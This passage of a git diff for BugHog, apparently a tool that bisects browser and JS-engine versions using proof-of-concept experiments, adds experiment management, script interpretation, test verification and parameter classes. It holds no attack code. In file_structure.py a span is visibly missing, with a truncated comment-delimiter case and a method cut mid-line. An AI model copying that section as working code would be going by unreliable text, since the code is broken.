Returns whether the poc is dirty: it is not reproduced and the sanity check did not succeed. + """ + reproduced = ExperimentResult.poc_is_reproduced(result_variables) + sanity_check_succeeded = ExperimentResult.poc_passed_sanity_check(result_variables) + return not reproduced and not sanity_check_succeeded + + @property + def padded_subject_version(self) -> Optional[str]: + """ + Pads the executable's version. + Returns None if padding fails. + """ + if self.executable_version is None: + return None + padding_target = 4 + padded_version = [] + for sub in self.executable_version.split('.'): + if len(sub) > padding_target: + return None + padded_version.append('0' * (padding_target - len(sub)) + sub) + return '.'.join(padded_version) diff --git a/bughog/evaluation/experiments.py b/bughog/evaluation/experiments.py new file mode 100644 index 00000000..1016c509 --- /dev/null +++ b/bughog/evaluation/experiments.py @@ -0,0 +1,180 @@ +import logging +import os +import shutil + +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters +from bughog.subject.evaluation_framework import EvaluationFramework + +logger = logging.getLogger(__name__) + +SUPPORTED_FILE_TYPES = [ + 'css', + 'html', + 'js', + 'py', + 'xml', +] +SUPPORTED_DOMAINS = [ + 'leak.test', + 'a.test', + 'sub.a.test', + 'sub.sub.a.test', + 'b.test', + 'sub.b.test', + 'adition.com', +] + + +class Experiments: + def __init__(self, subject_type: str, evaluation_framework: EvaluationFramework) -> None: + self.subject_type = subject_type + self.framework = evaluation_framework + self.root_folder = self.initialize_experiments() + + @property + def root_folder_path(self) -> str: + return f'/app/subject/{self.subject_type}/experiments/' + + def initialize_experiments(self) -> Folder: + root_folder = Folder.parse(self.root_folder_path) + for project in root_folder.subfolders: + if project.name == '_default_files': + continue + project.tags.append('project') + for experiment in project.subfolders: + experiment.tags.append('experiment') + if self.framework.experiment_is_runnable(experiment): + experiment.tags.append('runnable') + return root_folder + + def get_projects(self) -> list[str]: + project_folders = self.root_folder.get_all_folders_with_tag('project') + return sorted([folder.name for folder in project_folders], key=str.lower) + + def create_empty_project(self, project_name: str): + self.root_folder.create_folder(project_name) + self.reload_experiments() + + def get_experiments(self, project_name: str) -> list[tuple[str, bool]]: + """ + Returns all experiments in the given project, in a tuple indicating whether the experiment is runnable. + """ + project_root_folder = self.__get_project_folder(project_name) + experiment_folders = project_root_folder.get_all_folders_with_tag('experiment') + experiments = [(folder.name, 'runnable' in folder.tags) for folder in experiment_folders] + return sorted(experiments, key=lambda x: x[0]) + + def _get_poc_folder_path(self, project: str, poc: str, folder: str) -> str: + return os.path.join(self.root_folder_path, project, poc, folder) + + def _get_poc_file_path(self, project: str, poc: str, folder_name: str | None, file_name: str) -> str: + if folder_name is None: + return os.path.join(self.root_folder_path, project, poc, file_name) + return os.path.join(self.root_folder_path, project, poc, folder_name, file_name) + + def get_poc_file(self, project: str, poc: str, folder_name: str | None, file_name: str) -> str: + file_path = self._get_poc_file_path(project, poc, folder_name, file_name) + if os.path.isfile(file_path): + with open(file_path) as file: + return file.read() + raise AttributeError(f"Could not find PoC file at expected path '{file_path}'") + + def update_poc_file(self, project: str, poc: str, folder: str | None, file_name: str, content: str) -> bool: + file_path = self._get_poc_file_path(project, poc, folder, file_name) + if os.path.isfile(file_path): + if content == '': + logger.warning('Attempt to save empty file ignored') + return False + with open(file_path, 'w') as file: + file.write(content) + return True + return False + + def add_experiment(self, project: str, poc_name: str) -> None: + poc_path = os.path.join(self.root_folder_path, project, poc_name) + if not os.path.exists(poc_path): + os.makedirs(poc_path) + else: + raise AttributeError(f'Experiment {poc_name} for {project} already exists.') + + def add_folder_or_file(self, project: str, poc: str, folder_name: str | None, file_name: str | None): + # Create folder if required. + project_folder = self.root_folder.get_folder(project) + poc_folder = project_folder.get_folder(poc) + if folder_name is not None: + if poc_folder.file_exists(folder_name): + raise Exception(f'Could not create {folder_name} in {poc_folder.path}, because a file with the same name exists.') + elif poc_folder.folder_exists(folder_name): + folder = poc_folder.get_folder(folder_name) + else: + folder = poc_folder.create_folder(folder_name) + else: + folder = poc_folder + + # Create file. + if file_name is not None: + file_content = self.__get_default_file_content(file_name) + folder.create_file(file_name, file_content) + + self.reload_experiments() + + def __get_default_file_content(self, file_name: str) -> bytes: + """ + Returns the default file content upon creation of a new file within an experiment context. + """ + if '.' not in file_name: + logger.warning(f"Could not determine file type for file '{file_name}' to write default content.") + return b'' + file_type = file_name.split('.')[-1] + default_file_content_file = os.path.join(self.root_folder.path, '_default_files', file_type) + if not os.path.isfile(default_file_content_file): + logger.warning(f"Could not find default file content for file '{file_name}'.") + return b'' + with open(default_file_content_file, 'rb') as file: + return file.read() + + def remove_folder_or_file(self, project: str, poc: str, folder_name: str | None, file_name: str | None): + if file_name is not None: + file_path = self._get_poc_file_path(project, poc, folder_name, file_name) + os.remove(file_path) + elif folder_name is not None: + folder_path = self._get_poc_folder_path(project, poc, folder_name) + shutil.rmtree(folder_path) + else: + logger.debug(f'No folder or file name was specified for removal in folder {poc}.') + + def __get_project_folder(self, project_name: str) -> Folder: + for project in self.root_folder.subfolders: + if project.name == project_name: + return project + raise Exception(f"Could not find project '{project_name}' for '{self.subject_type}'") + + def __get_experiment_folder(self, project_name: str, experiment_name: str) -> Folder: + project = self.__get_project_folder(project_name) + for experiment in project.subfolders: + if experiment.name == experiment_name: + return experiment + raise Exception(f"Could not find experiment '{experiment_name}'") + + def get_experiment_folder(self, params: EvaluationParameters) -> Folder: + project_name = params.evaluation_range.project_name + experiment_name = params.evaluation_range.experiment_name + return self.__get_experiment_folder(project_name, experiment_name) + + def get_experiment_dir_tree(self, project_name: str, experiment_name: str) -> dict: + experiment_folder = self.__get_experiment_folder(project_name, experiment_name) + return experiment_folder.serialize() + + def get_interaction_script(self, experiment_folder: Folder) -> list[str]: + script_path = os.path.join(experiment_folder.path, 'script.cmd') + if os.path.isfile(script_path): + # If an interaction script is specified, it is parsed and used + with open(script_path) as file: + return file.readlines() + else: + return self.framework.get_default_experiment_script(experiment_folder) + + def reload_experiments(self): + self.root_folder = self.initialize_experiments() + logger.info('Experiments are reloaded.') diff --git a/bughog/evaluation/file_structure.py b/bughog/evaluation/file_structure.py new file mode 100644 index 00000000..2e2bb606 --- /dev/null +++ b/bughog/evaluation/file_structure.py @@ -0,0 +1,154 @@ +from __future__ import annotations + +import logging +import os +import re + +logger = logging.getLogger(__name__) + + +class File: + def __init__(self, name: str, path: str): + self.name = name + self.path = path + + @property + def file_type(self) -> str | None: + if '.' not in self.name: + return None + return self.name.split('.')[-1] + + @property + def comment_delimiters(self) -> tuple[str,str|None] | None: + match self.file_type: + case 'html' | 'xml': + return r'' + case 'css': + return r'/\*', r'\*/' + case 'js': + return r'//', None + case 'wat': + return r';;', None + case _: + return None + + def get_bughog_poc_parameter(self, name: str) -> str | None: + if delimiters := self.comment_delimiters: + prefix = delimiters[0] + suffix = delimiters[1] + with open(self.path, 'r') as poc: + for line in poc: + # Stop looking upon the first non-comment line that also is not the document declaration. + if not re.match(rf'^\s*{prefix}', line) and ' Folder: + folder_name = os.path.basename(path) + folder = Folder(folder_name, path) + + try: + with os.scandir(path) as it: + for entry in it: + if entry.name in cls.__files_and_folders_to_ignore: + continue + elif entry.is_dir(): + folder.subfolders.append(Folder.parse(entry.path)) + elif entry.is_file(): + folder.files.append(File(entry.name, entry.path)) + except PermissionError: + logger.warning(f"Could not access folder '{path}', skipping.") + pass + + return folder + + def get_file(self, name: str) -> File: + matched = [file for file in self.files if file.name == name] + if len(matched) == 0: + raise Exception(f'Could not find {name} in {self.path}.') + return matched[0] + + def create_file(self, name: str, content: bytes): + self.__can_create(name) + new_file_path = os.path.join(self.path, name) + with open(new_file_path, 'bw') as file: + file.write(content) + + def get_folder(self, name: str) -> Folder: + matched = [file for file in self.subfolders if file.name == name] + if len(matched) == 0: + raise Exception(f'Could not find folder {name}.') + return matched[0] + + def create_folder(self, name: str) -> Folder: + self.__can_create(name) + new_project_path = os.path.join(self.path, name) + os.mkdir(new_project_path) + new_folder = Folder(name, os.path.join(self.path, name)) + self.subfolders.append(new_folder) + return new_folder + + def get_all_folders_with_tag(self, tag: str) -> list[Folder]: + all_folders_with_tag = [] + if tag in self.tags: + all_folders_with_tag.append(self) + for folder in self.subfolders: + all_folders_with_tag.extend(folder.get_all_folders_with_tag(tag)) + return all_folders_with_tag + + def serialize(self) -> dict: + return { + 'name': self.name, + 'path': self.path, + 'tags': self.tags, + 'subfolders': [subfolder.serialize() for subfolder in self.subfolders], + 'files': [{'name': file.name, 'path': file.path} for file in self.files], + } + + def folder_exists(self, name: str) -> bool: + return os.path.isdir(os.path.join(self.path, name)) + + def file_exists(self, name: str) -> bool: + return os.path.isfile(os.path.join(self.path, name)) + + def __can_create(self, name: str) -> None: + if self.folder_exists(name) or self.file_exists(name): + raise AttributeError(f"The given file or folder name '{name}' already exists.") + if name is None or name == '': + raise AttributeError('The file name cannot be empty.') + regex = r'^[A-Za-z0-9_\-.]+$' + if re.match(regex, name) is None: + raise AttributeError(f"The given name '{name}' is invalid. Only letters, numbers, '.', '-' and '_' can be used, and the name should not be empty.") + + def __repr__(self): + return f'Folder(name={self.name}, path={self.path}, subfolders={self.subfolders}, files={self.files})' diff --git a/bughog/evaluation/interaction.py b/bughog/evaluation/interaction.py new file mode 100644 index 00000000..3bb10eca --- /dev/null +++ b/bughog/evaluation/interaction.py @@ -0,0 +1,52 @@ +import logging +from inspect import signature + +from bughog.subject.simulation import Simulation +from bughog.subject.web_browser.interaction.simulation import SimulationException + +logger = logging.getLogger(__name__) + + +class Interaction: + def __init__(self, script: list[str]) -> None: + self.script = script + + def do_experiment(self, simulation: Simulation) -> None: + if self._interpret(simulation): + simulation.sleep(str(simulation.executable.post_experiment_sleep_duration)) + + def do_sanity_check(self, simulation: Simulation) -> None: + simulation.do_sanity_check() + + def _interpret(self, simulation: Simulation) -> bool: + try: + for statement in self.script: + if statement.strip() == '' or statement[0] == '#': + continue + + cmd, *args = statement.split() + method_name = cmd.lower() + + if method_name not in simulation.supported_commands: + raise Exception(f'Invalid command `{cmd}`. Expected one of {", ".join(map(lambda m: m.upper(), simulation.supported_commands))}.') + + method = getattr(simulation, method_name) + method_params = list(signature(method).parameters.values()) + + # Allow different number of arguments only for variable argument number (*) + if len(method_params) != len(args) and (len(method_params) < 1 or str(method_params[0])[0] != '*'): + raise Exception(f'Invalid number of arguments for command `{cmd}`. Expected {len(method_params)}, got {len(args)}.') + + logger.debug(f'Executing interaction method `{method_name}` with the arguments {args}') + + method(*args) + + return True + except SimulationException as e: + # Simulation exception - sane behaviour, but do not continue interpreting + simulation.report_simulation_error(str(e)) + return True + except Exception as e: + # Unexpected exception type - not sane, report the exception + simulation.report_simulation_error(str(e)) + return False diff --git a/bughog/exceptions.py b/bughog/exceptions.py new file mode 100644 index 00000000..8c3c3596 --- /dev/null +++ b/bughog/exceptions.py @@ -0,0 +1,30 @@ +class UserError(Exception): + """ + Exception raised for errors that are due to user actions. + """ + + pass + + +class MissingParametersError(UserError): + """ + Exception raised when required parameters are missing. + """ + + pass + + +class SystemError(Exception): + """ + Exception raised for system-related errors. + """ + + pass + + +class OutOfMemoryError(SystemError): + """ + Exception raised when BugHog runs out of memory. + """ + + pass diff --git a/bci/browser/configuration/__init__.py b/bughog/integration_tests/__init__.py similarity index 100% rename from bci/browser/configuration/__init__.py rename to bughog/integration_tests/__init__.py diff --git a/bughog/integration_tests/evaluation_configurations.py b/bughog/integration_tests/evaluation_configurations.py new file mode 100644 index 00000000..1fe125d0 --- /dev/null +++ b/bughog/integration_tests/evaluation_configurations.py @@ -0,0 +1,64 @@ +import os + +from bughog import configuration +from bughog.integration_tests import verify_results +from bughog.parameters import ( + EvaluationParameters, + EvaluationRange, + SequenceConfiguration, + SubjectConfiguration, +) +from bughog.subject import factory + + +def get_default_configuration(subject_type: str, subject_name: str) -> SubjectConfiguration: + return SubjectConfiguration( + subject_type, + subject_name, + 'default', + [], + [], + ) + + +def get_default_evaluation_range( + subject_type: str, subject_name: str, experiment: str, only_releases: bool +) -> EvaluationRange: + min_version, max_version = factory.get_subject_availability(subject_type, subject_name) + return EvaluationRange( + verify_results.TEST_PROJECT_NAME, + experiment, + (min_version, max_version), + None, + only_releases, + ) + + +def get_default_sequence_config(sequence_limit: int) -> SequenceConfiguration: + cpu_count = os.cpu_count() + return SequenceConfiguration( + cpu_count if cpu_count is not None else 7, + sequence_limit, + 'comp_search', + ) + + +def get_default_evaluation_parameters( + subject_type: str, subject_name: str, experiment: str, sequence_limit: int = 100, only_releases: bool = True +) -> EvaluationParameters: + database_params = configuration.get_database_params() + return EvaluationParameters( + get_default_configuration(subject_type, subject_name), + get_default_evaluation_range(subject_type, subject_name, experiment, only_releases), + get_default_sequence_config(sequence_limit), + database_params, + ) + + +def get_eval_parameters_list(subject_type: str, experiments: list[str]) -> list[EvaluationParameters]: + evaluation_parameters_list = [] + for subject_name in factory.get_all_subject_names_for(subject_type): + for experiment in experiments: + params = get_default_evaluation_parameters(subject_type, subject_name, experiment, sequence_limit=100) + evaluation_parameters_list.append(params) + return evaluation_parameters_list diff --git a/bughog/integration_tests/verify_results.py b/bughog/integration_tests/verify_results.py new file mode 100644 index 00000000..ea067914 --- /dev/null +++ b/bughog/integration_tests/verify_results.py @@ -0,0 +1,102 @@ +import ast +import logging +from collections import defaultdict +from typing import Callable, Generator + +from bughog.database.mongo.mongodb import MongoDB +from bughog.evaluation.experiment_result import ExperimentResult +from bughog.evaluation.experiments import Experiments +from bughog.evaluation.file_structure import Folder +from bughog.integration_tests import evaluation_configurations +from bughog.parameters import EvaluationParameters +from bughog.subject import factory +from bughog.subject.evaluation_framework import EvaluationFramework +from bughog.version_control.state.base import State + +TEST_PROJECT_NAME = '_tests' +logger = logging.getLogger(__name__) + + +def get_all_testable_subject_types() -> Generator[str]: + for subject_type in factory.get_all_subject_types(): + all_experiments = factory.create_experiments(subject_type) + if TEST_PROJECT_NAME in all_experiments.get_projects(): + yield subject_type + else: + logger.warning(f'Skipping {subject_type} testing, because no "{TEST_PROJECT_NAME} was found.') + + +def verify_all() -> dict: + grouped_results = defaultdict(list) + for subject_type in get_all_testable_subject_types(): + all_experiments = factory.create_experiments(subject_type) + experiments = all_experiments.get_experiments(TEST_PROJECT_NAME) + elegible_experiments = [experiment[0] for experiment in experiments if experiment[1]] + eval_parameters_list = evaluation_configurations.get_eval_parameters_list(subject_type, elegible_experiments) + + for eval_parameters in eval_parameters_list: + experiment_verification = __verify_experiment(eval_parameters, all_experiments) + if experiment_verification: + grouped_results[subject_type].append(experiment_verification) + + # Return list of lists, each sublist for one subject_type + return grouped_results + + +def __verify_experiment(eval_parameters: EvaluationParameters, all_experiments: Experiments) -> dict | None: + experiment_name = eval_parameters.evaluation_range.experiment_name + experiment_folder = all_experiments.get_experiment_folder(eval_parameters) + + verification_func = __get_verification_function(all_experiments.framework, experiment_folder) + if verification_func is None: + return None + + states = MongoDB().get_evaluated_states(eval_parameters, None) + nb_of_success_results = len(list(filter(lambda x: verification_func(x), states))) + nb_of_fail_results = len(list(filter(lambda x: not verification_func(x) and not ExperimentResult.poc_is_dirty(x.result_variables), states))) + nb_of_error_results = len(list(filter(lambda x: ExperimentResult.poc_is_dirty(x.result_variables), states))) + nb_of_results = nb_of_success_results + nb_of_fail_results + nb_of_error_results + success_ratio = 0 if nb_of_results == 0 else round((nb_of_success_results / nb_of_results) * 100) + + return { + 'experiment_name': experiment_name, + 'subject_type': eval_parameters.subject_configuration.subject_type, + 'subject_name': eval_parameters.subject_configuration.subject_name, + 'nb_of_success_results': nb_of_success_results, + 'nb_of_fail_results': nb_of_fail_results, + 'nb_of_error_results': nb_of_error_results, + 'success_ratio': success_ratio, + } + + +def __get_verification_function(eval_framework: EvaluationFramework, experiment_folder: Folder) -> Callable | None: + param_name = 'expected_reproducing_versions' + param_value = eval_framework.get_bughog_poc_parameter(experiment_folder, param_name) + + if param_value is None: + logger.warning(f'Skipping {experiment_folder.name}, because "{param_name}" was not defined.') + return None + + match param_value: + case 'all': + return lambda state: ExperimentResult.poc_is_reproduced(state.result_variables) + case 'none': + return lambda state: not ExperimentResult.poc_is_reproduced(state.result_variables) + case _: + if type(param_value) is str: + reproducing_ranges = ast.literal_eval(param_value) + if type(reproducing_ranges) is list[tuple[int,int]]: + return __create_complex_verification_function(reproducing_ranges) + + logger.warning(f'Skipping {experiment_folder.name}, because could not parse given "{param_name}".') + return None + + +def __create_complex_verification_function(reproducing_ranges: list[tuple[int,int]]) -> Callable: + def verification_function(state: State): + for start, end in reproducing_ranges: + if start <= state.index <= end: + return ExperimentResult.poc_is_reproduced(state.result_variables) + return not ExperimentResult.poc_is_reproduced(state.result_variables) + + return verification_function diff --git a/bci/main.py b/bughog/main.py similarity index 52% rename from bci/main.py rename to bughog/main.py index 833534c3..749df886 100644 --- a/bci/main.py +++ b/bughog/main.py @@ -1,25 +1,25 @@ import logging +import os import time -import bci.database.mongo.container as mongodb_container -from bci.configuration import Global, Loggers -from bci.database.mongo.mongodb import MongoDB, ServerException -from bci.database.mongo.revision_cache import RevisionCache -from bci.distribution.worker_manager import WorkerManager -from bci.evaluations import experiments -from bci.evaluations.custom.custom_evaluation import CustomEvaluationFramework -from bci.evaluations.logic import ( +import bughog.database.mongo.container as mongodb_container +from bughog import configuration +from bughog.database.mongo.executable_cache import ExecutableCache +from bughog.database.mongo.mongodb import MongoDB, ServerException +from bughog.distribution.worker_manager import WorkerManager +from bughog.exceptions import SystemError, UserError +from bughog.parameters import ( DatabaseParameters, EvaluationParameters, - TestParameters, ) -from bci.search_strategy.bgb_search import BiggestGapBisectionSearch -from bci.search_strategy.bgb_sequence import BiggestGapBisectionSequence -from bci.search_strategy.composite_search import CompositeSearch -from bci.search_strategy.sequence_strategy import SequenceFinished, SequenceStrategy -from bci.version_control.state_factory import StateFactory -from bci.version_control.state_result_factory import StateResultFactory -from bci.web.clients import Clients +from bughog.search_strategy.bgb_search import BiggestGapBisectionSearch +from bughog.search_strategy.bgb_sequence import BiggestGapBisectionSequence +from bughog.search_strategy.composite_search import CompositeSearch +from bughog.search_strategy.sequence_strategy import SequenceFinished, SequenceStrategy +from bughog.subject import factory +from bughog.version_control.state.base import ShallowState +from bughog.version_control.state_factory import StateFactory +from bughog.web.clients import Clients logger = logging.getLogger(__name__) @@ -31,18 +31,17 @@ def __init__(self) -> None: self.stop_gracefully = False self.stop_forcefully = False - self.firefox_build = None - self.chromium_build = None - self.eval_queue = [] - Global.initialize_folders() - self.db_connection_params = Global.get_database_params() + self.db_connection_params = configuration.get_database_params() self.connect_to_database(self.db_connection_params) - RevisionCache.update() - experiments.verify() - self.evaluation_framework = CustomEvaluationFramework() + factory.initialize_all_subject_folders() + logger.info('BugHog is ready!') + if os.getenv('GITHUB_TOKEN') is None: + logger.warning( + 'GITHUB_TOKEN was not configured in ./config/.env. This might result in failed API requests.' + ) def connect_to_database(self, db_connection_params: DatabaseParameters) -> None: try: @@ -52,7 +51,8 @@ def connect_to_database(self, db_connection_params: DatabaseParameters) -> None: def run(self, eval_params_list: list[EvaluationParameters]) -> None: # Sequence_configuration settings are the same over evaluation parameters (quick fix) - worker_manager = WorkerManager(eval_params_list[0].sequence_configuration.nb_of_containers) + self.__update_state(is_running=True, reason='user', status='running') + worker_manager = WorkerManager(eval_params_list[0]) self.stop_gracefully = False self.stop_forcefully = False try: @@ -60,89 +60,118 @@ def run(self, eval_params_list: list[EvaluationParameters]) -> None: for eval_params in eval_params_list: if self.stop_gracefully or self.stop_forcefully: break - self.__update_eval_queue(eval_params.evaluation_range.mech_group, 'active') - self.__update_state(is_running=True, reason='user', status='running', queue=self.eval_queue) - self.run_single_evaluation(eval_params, worker_manager) + self.__update_eval_queue(eval_params.evaluation_range.experiment_name, 'active') + self.__update_state( + is_running=True, + reason='user', + status='running', + queue=self.eval_queue, + ) + try: + self.run_single_evaluation(eval_params, worker_manager) + except (UserError, SystemError) as e: + # If we are running integration tests, we want to just continue with other subjects. + unique_subjects = set( + [eval_params.subject_configuration.subject_name for eval_params in eval_params_list] + ) + if len(unique_subjects) == 1: + raise e + except Exception: + logger.error( + f'Could not finish evaluation for {eval_params.subject_configuration.subject_name}.', + exc_info=True, + ) - except Exception as e: - logger.critical('A critical error occurred', exc_info=True) - raise e - finally: - # Gracefully exit + # Exit handling if self.stop_gracefully: logger.info('Gracefully stopping experiment queue due to user end signal...') self.state['reason'] = 'user' - if self.stop_forcefully: + elif self.stop_forcefully: logger.info('Forcefully stopping experiment queue due to user end signal...') self.state['reason'] = 'user' worker_manager.forcefully_stop_all_running_containers() else: logger.info('Gracefully stopping experiment queue since last experiment started.') - # MongoDB.disconnect() + + except (UserError, SystemError) as e: + logger.error(f'Evaluation stopped because of a user or system error: {e}') + raise e + except Exception as e: + logger.critical('A critical error occurred', exc_info=True) + raise e + finally: logger.info('Waiting for remaining experiments to stop...') worker_manager.wait_until_all_evaluations_are_done() logger.info('BugHog has finished the evaluation!') self.__update_state(is_running=False, status='idle', queue=self.eval_queue) def run_single_evaluation(self, eval_params: EvaluationParameters, worker_manager: WorkerManager) -> None: - # Quick fix: we attempt a couple of retries for each evaluation, to make sure pinpointing is comprehensive. - # TODO: Pinpoint the issue that causes pinpointing to be incomprehensive. Presumably, this is caused by not all - # states being evaluated upon deciding for the next state to be evaluated. + # We attempt a couple of tries per evaluation, because flaky binaries might render an evaluation incomprehensive + # when some tests return an error. nb_of_iterations = 3 for i in range(1, nb_of_iterations + 1): start_time = time.time() - browser_name = eval_params.browser_configuration.browser_name - experiment_name = eval_params.evaluation_range.mech_group + subject = factory.get_subject_from_params(eval_params) + experiment_name = eval_params.evaluation_range.experiment_name search_strategy = self.create_sequence_strategy(eval_params) - logger.info(f"Starting evaluation for experiment '{experiment_name}' with browser '{browser_name}', iteration {i}/{nb_of_iterations}.") + logger.info( + f"Starting evaluation for experiment '{experiment_name}' with '{subject.name}', iteration {i}/{nb_of_iterations}." + ) try: while (self.stop_gracefully or self.stop_forcefully) is False: # Update search strategy with new potentially new results - current_state = search_strategy.next() - - # Prepare worker parameters - worker_params = eval_params.create_worker_params_for(current_state, self.db_connection_params) + # TODO: make the `wait` parameter changeable through UI (e.g., lazy vs greedy) + current_state = search_strategy.next(wait=False) # Start worker to perform evaluation - worker_manager.start_test(worker_params) + worker_manager.start_experiment(eval_params, current_state) except SequenceFinished: - iteration_time = round(time.time() - start_time) worker_manager.wait_until_all_evaluations_are_done() - logger.debug(f"Last experiment has finished for iteration {i}/{nb_of_iterations}. This iteration took {iteration_time}s.") - # Retry all tests with a dirty result once. - self.retry_dirty_tests(eval_params, worker_manager) + # Retry all tests with a dirty result once. Only once for JS engine subjects. + if eval_params.subject_configuration.subject_type != 'js_engine' or i == 1: + self.retry_dirty_tests(eval_params, worker_manager) + + iteration_time = round(time.time() - start_time) + logger.debug( + f'Last experiment has finished for iteration {i}/{nb_of_iterations}. This iteration took {iteration_time}s.' + ) + worker_manager.wait_until_all_evaluations_are_done() self.state['reason'] = 'finished' - self.__update_eval_queue(eval_params.evaluation_range.mech_group, 'done') + self.__update_eval_queue(eval_params.evaluation_range.experiment_name, 'done') + Clients.push_notification_to_all(f'Evaluation of {experiment_name} has finished.') def retry_dirty_tests(self, eval_params: EvaluationParameters, worker_manager: WorkerManager) -> None: - state_result_factory = StateResultFactory() - dirty_states = MongoDB().get_evaluated_states(eval_params, None, state_result_factory, dirty=True) + dirty_states = MongoDB().get_evaluated_states(eval_params, None, dirty=True) if (nb_of_dirty_states := len(dirty_states)) == 0: - logger.info("No tests are associated with a dirty result.") + logger.info('No tests are associated with a dirty result.') return - logger.info(f"Retrying {nb_of_dirty_states} tests with a dirty result...") + experiment = eval_params.evaluation_range.experiment_name + message = f'Retrying {nb_of_dirty_states} tests with a dirty result for {experiment}.' + logger.info(message) + + Clients.push_notification_to_all(message) for dirty_state in dirty_states: if self.stop_gracefully or self.stop_forcefully: return - worker_params = eval_params.create_worker_params_for(dirty_state, self.db_connection_params) - test_params = worker_params.create_test_params() - MongoDB().remove_datapoint(test_params) - worker_manager.start_test(worker_params) + MongoDB().remove_datapoint(eval_params, dirty_state.to_shallow_state()) + worker_manager.start_experiment(eval_params, dirty_state) worker_manager.wait_until_all_evaluations_are_done() - dirty_states_after_retry = MongoDB().get_evaluated_states(eval_params, None, state_result_factory, dirty=True) - logger.info(f"Dirty test results reduced from {nb_of_dirty_states} to {len(dirty_states_after_retry)}.") + + dirty_states_after_retry = MongoDB().get_evaluated_states(eval_params, None, dirty=True) + logger.info(f'Dirty test results reduced from {nb_of_dirty_states} to {len(dirty_states_after_retry)}.') @staticmethod def create_sequence_strategy(eval_params: EvaluationParameters) -> SequenceStrategy: sequence_config = eval_params.sequence_configuration search_strategy = sequence_config.search_strategy sequence_limit = sequence_config.sequence_limit - state_factory = StateFactory(eval_params) + subject = factory.get_subject_from_params(eval_params) + state_factory = StateFactory(subject.state_oracle, eval_params) if search_strategy == 'bgb_sequence': strategy = BiggestGapBisectionSequence(state_factory, sequence_limit) @@ -151,25 +180,25 @@ def create_sequence_strategy(eval_params: EvaluationParameters) -> SequenceStrat elif search_strategy == 'comp_search': strategy = CompositeSearch(state_factory, sequence_limit) else: - raise AttributeError("Unknown search strategy option '%s'" % search_strategy) + raise UserError(f"Unknown search strategy option '{search_strategy}'") return strategy def activate_stop_gracefully(self): - if self.evaluation_framework: + if self.state['is_running']: self.stop_gracefully = True self.__update_state(is_running=True, reason='user', status='waiting_to_stop') - self.evaluation_framework.stop_gracefully() logger.info('Received user signal to gracefully stop.') + Clients.push_notification_to_all('Waiting for all experiments to stop. No new experiments will be started.') else: logger.info('Received user signal to gracefully stop, but no evaluation is running.') def activate_stop_forcefully(self) -> None: - if self.evaluation_framework: + if self.state['is_running']: self.stop_forcefully = True self.__update_state(is_running=True, reason='user', status='waiting_to_stop') - self.evaluation_framework.stop_gracefully() WorkerManager.forcefully_stop_all_running_containers() logger.info('Received user signal to forcefully stop.') + Clients.push_notification_to_all('Forcefully stopping all experiments. Sit tight!') else: logger.info('Received user signal to forcefully stop, but no evaluation is running.') @@ -195,15 +224,18 @@ def push_info(self, ws, *args) -> None: if arg == 'db_info' or all: update['db_info'] = MongoDB().get_info() if arg == 'logs' or all: - update['logs'] = Loggers.get_logs() + update['logs'] = configuration.Loggers.get_logs() if arg == 'state' or all: update['state'] = self.state Clients.push_info(ws, update) - def remove_datapoint(self, params: TestParameters) -> None: - MongoDB().remove_datapoint(params) + def remove_datapoint(self, params: EvaluationParameters, state: ShallowState) -> None: + MongoDB().remove_datapoint(params, state) Clients.push_results_to_all() + def remove_cached_executable(self, subject_type: str, subject_name: str, state_name: str) -> None: + ExecutableCache.remove_commit_executable_files(subject_type, subject_name, state_name) + def __update_state(self, **kwargs) -> None: for key, value in kwargs.items(): self.state[key] = value @@ -212,10 +244,12 @@ def __update_state(self, **kwargs) -> None: def __init_eval_queue(self, eval_params_list: list[EvaluationParameters]) -> None: self.eval_queue = [] for eval_params in eval_params_list: - self.eval_queue.append({ - 'experiment': eval_params.evaluation_range.mech_group, - 'state': 'pending' - }) + self.eval_queue.append( + { + 'experiment': eval_params.evaluation_range.experiment_name, + 'state': 'pending', + } + ) def __update_eval_queue(self, experiment: str, state: str) -> None: for eval in self.eval_queue: diff --git a/bughog/parameters.py b/bughog/parameters.py new file mode 100644 index 00000000..54a3a7b4 --- /dev/null +++ b/bughog/parameters.py @@ -0,0 +1,213 @@ +from __future__ import annotations + +import base64 +import logging +import pickle +from dataclasses import asdict, dataclass +from typing import Optional + +from bughog.exceptions import MissingParametersError + +logger = logging.getLogger(__name__) + + +@dataclass(frozen=True) +class EvaluationParameters: + """ + All parameters required to define an evaluation. + """ + + subject_configuration: SubjectConfiguration + evaluation_range: EvaluationRange + sequence_configuration: SequenceConfiguration + database_params: DatabaseParameters + + def serialize(self) -> str: + pickled_bytes = pickle.dumps(self, pickle.HIGHEST_PROTOCOL) + return base64.b64encode(pickled_bytes).decode('ascii') + + @staticmethod + def deserialize(pickled_str: str) -> EvaluationParameters: + pickled_bytes = base64.b64decode(pickled_str) + return pickle.loads(pickled_bytes) + + def to_plot_parameters(self, experiment_name: str, dirty_results_allowed: bool = True) -> PlotParameters: + return PlotParameters( + self.subject_configuration, + self.evaluation_range, + self.sequence_configuration, + self.database_params, + experiment_name, + dirty_results_allowed, + ) + + +@dataclass(frozen=True) +class SubjectConfiguration: + subject_type: str + subject_name: str + subject_setting: str + cli_options: list[str] + extensions: list[str] + + def to_dict(self) -> dict: + return asdict(self) + + @staticmethod + def from_dict(data: dict) -> SubjectConfiguration: + return SubjectConfiguration( + data['subject_type'], data['subject_name'], data['subject_setting'], data['cli_options'], data['extensions'] + ) + + +@dataclass(frozen=True) +class EvaluationRange: + project_name: str + experiment_name: str + major_version_range: tuple[int, int] | None = None + commit_nb_range: tuple[int, int] | None = None + only_release_commits: bool = False + + def __post_init__(self): + if self.major_version_range: + assert self.major_version_range[0] <= self.major_version_range[1] + elif self.commit_nb_range: + assert self.commit_nb_range[0] <= self.commit_nb_range[1] + else: + raise AttributeError('Evaluation ranges require either major versions or commit numbers') + + +@dataclass(frozen=True) +class SequenceConfiguration: + nb_of_containers: int + sequence_limit: int = 10000 + search_strategy: str | None = None + + +@dataclass(frozen=True) +class DatabaseParameters: + host: str + username: str + password: str + database_name: str + executable_cache_limit: int + + def to_dict(self) -> dict: + return asdict(self) + + @staticmethod + def from_dict(data: dict) -> DatabaseParameters: + return DatabaseParameters( + data['host'], + data['username'], + data['password'], + data['database_name'], + data['executable_cache_limit'], + ) + + def __str__(self) -> str: + return f'{self.username}@{self.host}:27017/{self.database_name}' + + def __repr__(self) -> str: + return f'{self.username}@{self.host}:27017/{self.database_name}' + + +@dataclass(frozen=True) +class PlotParameters(EvaluationParameters): + experiment: Optional[str] + dirty_results_allowed: bool + # subject_name: Optional[str] + 